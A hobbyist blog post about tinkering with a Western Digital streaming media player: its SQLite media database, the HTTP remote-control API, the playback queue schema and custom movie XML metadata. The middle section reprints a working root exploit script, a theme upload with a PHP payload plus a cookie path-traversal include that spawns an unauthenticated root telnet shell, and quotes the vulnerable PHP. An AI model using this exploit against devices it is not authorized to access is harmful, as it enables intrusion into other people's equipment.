I recently bought a Western Digital Streaming Media Player – it’s a very capable little player for the money, but I think you have to smarter than the average bear to get the best out of it.
There an active project over at wdlxtv.com to produce some alternative firmware for the device. This is only partially supported by my device, so I’ve avoided using it for now.
So, I’ve found myself probing this thing to see what interesting things I could do with it. Here’s what you can expect from the rest of this post
- Details of the SQLite database the media library creates on your storage devices
- How to transmit remote control commands to the device over HTTP
- How to launch a telnet daemon allowing a root shell
- Details on where the playback queue is stored
- Improving the media library with XML metadata
All of this is based on the firmware release 1.12.14 (31 Oct 2012) – use this information at your own risk!
Media Library creates SQLite databases
If you enable the media library feature of the device, it will create an SQLite database on each volume you attach. I’ve got all my media on a NAS, and it creates a .wd_tv folder there. In it you’ll find a file with a .cas2 extension which is simply an SQLite database. You can explore that with the sqlite3 command line tool, or use a scripting language like Perl or PHP to explore it.
After realizing I could write a better web-based interface for browsing my media, I began to wonder: once I found a film I watched to watch, how could I tell the WDTV to play it?
Remote control
There’s a very simple API for sending simulated commands from the remote control – it involves POSTing a little JSON fragment to a CGI script on the box. You can observe the protocol simply by using the web based remote provided by the built-in web UI. As an illustration, here’s how you transmit a ‘left’ button:
curl -s -d '{"remote":"l"}' -v http://your.wdtv.ip/cgi-bin/toServerValue.cgi
I thought I might be able to send a sequence of commands to return to the main menu and then search for the target video and play it. I didn’t get far with this approach, as there’s no way to figure out what state the OSD is in. (EDIT: since writing that, I’ve figured out a way of doing this – you can configure one of the remote buttons to take you to ‘video’ or ‘music’, and from there you can hit the ‘search’ button to find a target item)
Getting inside
So, it was time to see how we could get inside. Dr. Alberto Fontanella documented one vulnerability in the remote control CGI script that allowed root level code execution. I wasn’t able to exploit this, so I suspect that has been patched in my Oct 2012 firmware.
Another vulnerability documented by Wolfgang Borst proved more fruitful. It allows you to trick the box into spawning a root level telnet daemon. I made some minor syntax corrections to his original script, copied below:
#!/bin/sh THEME_NAME="blub" if [ $# != 1 ]; then TARGET="orpheus" echo "Root Exploit for WDTV Live SMP\n\nUsing default target=${TARGET}\nUSAGE: $0\n\n" else TARGET=$1 fi if [ ! -f "home.php" ]; then echo '<?php system("telnetd -l /bin/sh");print "\ntelnet daemon launched!.\n\n";exit();' > home.php fi if [ ! -f "${THEME_NAME}.zip" ]; then touch meta.xml zip ${THEME_NAME} home.php meta.xml fi echo "Uploading ${THEME_NAME}.zip:" curl -F "appearance=@${THEME_NAME}.zip" -o /dev/null http://${TARGET}/upload.php echo "\n\nRunning payload:" curl --cookie "language=../../../../usrdata/.wd_tv/theme/${THEME_NAME}" http://${TARGET}/index.php
This exploits a flaw in the PHP code on the device which trusts cookie values. /webserver/htdocs/index.php on the device contains this fragment
$get_language=$_COOKIE['language']; if($get_language==''){ include 'local/0/home.php'; }else{ include 'local/'.$get_language.'/home.php'; }
We can craft a cookie that will let us include our own PHP on a different path, as long as we call it home.php. The web interface supports uploading a theme, so all we need to do is put our home.php in an otherwise plausible theme zipfile, and then craft a cookie value to cause it to be used.
As the webserver runs as root, our home.php file can do whatever we like – in this case, starting telnetd.
Bottom line – give this script the IP address of your unit and within moments you’ll be able to telnet right in there as root.
So what can we do?
First, I wanted to see what I do could with the built in webserver. This runs from a read-only filesystem with a document root of /webserver/htdocs – here’s what I found there
/webserver/htdocs # ls -la /webserver/htdocs/
drwxrwxr-x 9 1007 1007 744 Oct 24 03:51 .
drwxrwxr-x 11 1007 1007 109 Oct 24 03:51 ..
drwxrwxr-x 2 1007 1007 128 Oct 24 03:51 DB
-rw-rw-r-- 1 1007 1007 26395 Oct 12 10:06 Main.php
-rw-rw-r-- 1 1007 1007 3018 Oct 12 10:06 Support.php
-rw-rw-r-- 1 1007 1007 1769 Oct 12 10:06 appearance.php
-rw-rw-r-- 1 1007 1007 1390 Oct 12 10:06 device_name.php
-rw-rw-r-- 1 1007 1007 1406 Oct 12 10:06 favicon.ico
-rw-rw-r-- 1 1007 1007 95 Oct 12 10:06 file_exists.php
lrwxrwxrwx 1 1007 1007 10 Oct 12 10:06 image -> /osd/image
-rw-r--r-- 1 1007 1007 44 Nov 20 2004 index.html
-rw-rw-r-- 1 1007 1007 8372 Oct 12 10:06 index.php
drwxrwxr-x 3 1007 1007 473 Oct 24 03:51 js
drwxrwxr-x 23 1007 1007 167 Oct 24 03:51 local
-rw-rw-r-- 1 1007 1007 2305 Oct 12 10:06 madia_itune.php
-rw-rw-r-- 1 1007 1007 2740 Oct 12 10:06 madia_twonky.php
-rw-rw-r-- 1 1007 1007 2244 Oct 12 10:06 network_lan.php
-rw-rw-r-- 1 1007 1007 1133 Oct 12 10:06 online_Blockbuster.php
-rw-rw-r-- 1 1007 1007 1039 Oct 12 10:06 online_CinemaNow.php
-rw-rw-r-- 1 1007 1007 1019 Oct 12 10:06 online_MLBTV.php
-rw-rw-r-- 1 1007 1007 1254 Oct 12 10:06 online_Mediafly.php
-rw-rw-r-- 1 1007 1007 1122 Oct 12 10:06 online_Netflix.php
-rw-rw-r-- 1 1007 1007 1238 Oct 12 10:06 online_Pandora.php
-rw-rw-r-- 1 1007 1007 1150 Oct 12 10:06 online_Spotify.php
-rw-rw-r-- 1 1007 1007 1014 Oct 12 10:06 online_hulu.php
-rw-rw-r-- 1 1007 1007 1244 Oct 12 10:06 online_live365.php
-rw-rw-r-- 1 1007 1007 202844 Oct 12 10:06 pclzip.lib.php
-rw-rw-r-- 1 1007 1007 10051 Oct 12 10:06 remote.html
-rw-rw-r-- 1 1007 1007 10340 Oct 12 10:06 remote_small.html
-rw-rw-r-- 1 1007 1007 2435 Oct 12 10:06 rewrite_xml_file.php
-rw-rw-r-- 1 1007 1007 2510 Oct 12 10:06 rss.php
-rw-rw-r-- 1 1007 1007 1263 Oct 12 10:06 search.php
-rw-rw-r-- 1 1007 1007 1804 Oct 12 10:06 security.php
-rw-rw-r-- 1 1007 1007 1632 Oct 12 10:06 storage_status.php
-rw-rw-r-- 1 1007 1007 10030 Oct 12 10:06 system_ntp.php
-rw-rw-r-- 1 1007 1007 1691 Oct 12 10:06 system_password.php
-rw-rw-r-- 1 1007 1007 142 Oct 12 10:06 test.php
drwxrwxr-x 3 1007 1007 21 Oct 24 03:51 tmp
-rw-rw-r-- 1 1007 1007 3211 Oct 12 10:06 upload.php
lrwxrwxrwx 1 1007 1007 32 Oct 24 03:49 user -> /tmp/media/usb/Local/WDTVLiveHub
drwxrwxr-x 8 1007 1007 298 Oct 24 03:51 wd_nas
drwxrwxr-x 3 1007 1007 23 Oct 24 03:51 wdtvlive
drwxrwxr-x 3 1007 1007 23 Oct 24 03:51 wdtvlivehub
Lots to explore there, but the first thing I noticed was the user symlink – this gives us an opportunity to have our own PHP files served by local webserver. All we need to do is create an appropriate symlink in /tmp/media/usb/Local pointing at some storage we control, either a mounted USB drive or remote Samba volume.
The other interesting thing is that apache runs as root. This is how the exploit was able to create a telnet daemon. This means that our own php code will be able to do anything we want too.
Where’s the queue stored?
One way of linking an alternative browsing UI with the unit would be if we could add a selected video to the queue. I found the queue lurking in an sqlite3 database in /usrdata/app/db/user_data.cas
This database has a userplaylist table with the following schema
CREATE TABLE userplaylist( id INTEGER primary key autoincrement, slot INTEGER, pls_id UNSIGNED INTEGER, mediaclass UNSIGNED INTEGER, group_name VARCHAR(256), browse_id VARCHAR(768), parent_id VARCHAR(768), thumbnail VARCHAR(768), display_name VARCHAR(256), udn VARCHAR(768), name VARCHAR(256), folder VARCHAR(768), uri VARCHAR(768), protocolinfo VARCHAR(128), mimetype VARCHAR(128), from_table VARCHAR(128), from_db VARCHAR(128) );
so – now we can create a PHP file which runs on the device and which will update this database with a chosen video file.
Improving movie pages with XML
I discovered this by accident though I’m sure it’s well documented somewhere. After pointing the device at some movie files, I noticed it created some extra metadata files for one of the movies. I believe it will do this only when it can find a single movie that matches the movie filename. In my case, it was Hugo.
When I looked at Hugo on my TV via the device, it rendered a really nice page for the film, with background art, cover art and file metadata. I found with a bit of Perl scripting, it was possible to create my own XML files for all the videos the device was unable to identify.
The XML itself is pretty straightforward. Here’s how it looked for Hugo
<?xml version="1.0" encoding="UTF-8"?>
<details>
<id>44826</id>
<imdb_id>tt0970179</imdb_id>
<title>Hugo</title>
<mpaa>PG</mpaa>
<year>2011-10-10</year>
<runtime>126</runtime>
<rating>7.5</rating>
<trailer>http://www.youtube.com/watch?v=UGTfCw1x98A</trailer>
<genre>Adventure</genre>
<genre>Fantasy</genre>
<genre>Drama</genre>
<genre>Mystery</genre>
<genre>Family</genre>
<studio>Paramount Pictures</studio>
<studio>GK Films</studio>
<studio>Infinitum Nihil</studio>
<plot>Set in 1930s Paris, an orphan who lives in the walls of a train station is wrapped up in a mystery involving his late father and a robot.</plot>
<overview>Set in 1930s Paris, an orphan who lives in the walls of a train station is wrapped up in a mystery involving his late father and a robot.</overview>
<director>Martin Scorsese</director>
<actor>
<name>Asa Butterfield</name>
<role>Hugo Cabret</role>
</actor>
<actor>
<name>Chloe Grace Moretz</name>
<role>Isabelle</role>
</actor>
<actor>
<name>Ben Kingsley</name>
<role>Georges Méliès</role>
</actor>
<actor>
<name>Sacha Baron Cohen</name>
<role>The Station Inspector</role>
</actor>
<actor>
<name>Jude Law</name>
<role>Hugo's Father</role>
</actor>
<actor>
<name>Christopher Lee</name>
<role>Monsieur Labisse</role>
</actor>
<actor>
<name>Helen McCrory</name>
<role>Mama Jeanne</role>
</actor>
<actor>
<name>Michael Stuhlbarg</name>
<role>Rene Rabard</role>
</actor>
<actor>
<name>Marco Aponte</name>
<role>Julien Carette</role>
</actor>
<actor>
<name>Emily Mortimer</name>
<role>Lisette</role>
</actor>
<actor>
<name>Johnny Depp</name>
<role>M. Rouleau</role>
</actor>
<actor>
<name>Ray Winstone</name>
<role>Uncle Claude</role>
</actor>
<actor>
<name>Frances de la Tour</name>
<role>Madame Emilie</role>
</actor>
<actor>
<name>Richard Griffiths</name>
<role>Monsieur Frick</role>
</actor>
<url cache="tmdb-.xml" function="GetTMDBThumbsById"></url>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fkeaJr29ypea1n24gzspsc7qK44.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/1swJznQwbY1e6n66Ki2upJuGnD1.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/8jshZcJ8O27YiueaGTfD1uhk9AA.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/vTeTmZBmgNRYz2zbOVdZBsO2hao.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/A6ESDzrwgMBiyRGUwKwhsbuwMDB.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/6JWI2i4ROxN2mm1tWhv5THBpeYy.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/xAOFs8QYN2FQJU4FKvxCjMDj7Cu.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/r5F5viZBjBzT8wiVIcdnnnNCDHk.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/hUK5us2q8oPXPFnA9PouIBaXqXB.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/tvIDrAZQNAW6TgThFMlHyqDnSxc.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/EGf1SrazxMZZfKtQSHZoAmker2.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/hqYRcBXfHn7hUV47n9GKLvmIB4V.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7Sl3iDAOM8wwUcZkpXl5J9oi0BF.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fKSbfgNNg3ljSssQ2ZM8j5BTa2I.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/blsiMue6pNYDJLmUWx3H2pvT8Wh.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fLwQ6awGMIHeivXdVBeIYmVm5Eu.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/5OQWNRJXNinXFjPctiHM0yqX7sE.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7SKxcov0koSqgyG2XzSUQ03zJ9e.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/i91xS1yk64qZCTNDI0ZKX1oU8L.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/hTdBqWFhWDALDcCYPRmvUYadBc3.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/lILBnQbRoEBUq4C8Wdq8kuc9rmr.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/wGmVmF1QSKM8Bys08dFfFXRqTMH.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/83V2bgOvT6u5Zq7nX8YO9xtgvlF.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/sm88sD2rQLrmvgEh5YHwLQsXYKT.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/jmnUP5ILAKek2HrEzYQ3C9N7BTr.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/cdf0emqSmoY0oA2LywCvznD7Gdm.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7PT9QN3mko22VlMmWHqCsBHiCkf.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/jOGSj0JH3uEY8OxQYukanjq9Nim.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fAUmwmaVzZI6TPJ7QmgtDqy6tJa.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/yNnjOVJz8C82aMFJj41abKaKG4U.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/xT6TPQB0uqGmwyiPjnHdFPiWnBC.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/cd8rhy97LIv8d8Qa8KH4neQMAre.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/kZCBb5YMOlwdbV6rogPe7qyyfk4.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7ddFGF5hygGWuNSrPJo2jhLBHqn.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/xaOjz99R7W3y5tIu5dwTDbNXNId.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/As96uDPUbcHieVd9JctoX47l3T1.jpg</thumbnail>
<backdrop>http://cf2.imgobject.com/t/p/w780/ehtX3oZaDdYPMVqfeXiZ7P9Iqu2.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/jc3qQh8FV2YOJc8z7JQlXmv33Zs.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/AdYjc68mGCXCbXOk7jLnLvYxgIe.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/gcuTuh4aya3XBqry03Tfr1PGgap.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/8n6xU5lgaI7HDZVXJWSjmN8j1d1.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/enCdiSLfSTRpeoOIXDBSQPMzL6z.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/oxBg2YxjgZAEie7nWMXFn1daePC.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/2xWZobgjr6SI6hHA5sz0neFBQV3.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/gMfDUtaVOG3J9qAf9DmB2cft3Hs.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/aRuP1wzVIbqE7ydKKeq9gvJIH1p.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/5Y1WTlgoMzb04dCTtXHUvACPZiV.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/rWuXhDICQeW9hY5RwkN8tq4EM3M.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/pMsMygJBtGqXFfQUwHnDne0Fj3q.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/cZ2CfYdFgqZoGy39D5Jp7doDXUH.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/hIPyLCgWfD0VjtghzJb60lBOt0s.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/mAXgaPxxUQg6U446yz8KPRYSUT.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/7Ctg9IG7zt1woqfgitfpW3W9Aye.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/7zpEn0L7eGTH2Dks4U3C3JODiTm.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/6m9B3MzkjVM8ekjOVNR43gVZOWN.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/pIHlevKOiSUO07WCF4v6772uT1A.jpg</backdrop>
</details>
The data comes from themoviedb.org. They have an API you can use to search for this kind of data. I used a Perl TMDB library to quickly write a script that would search for a movie and let you pick the most appropriate match before writing the necessary XML.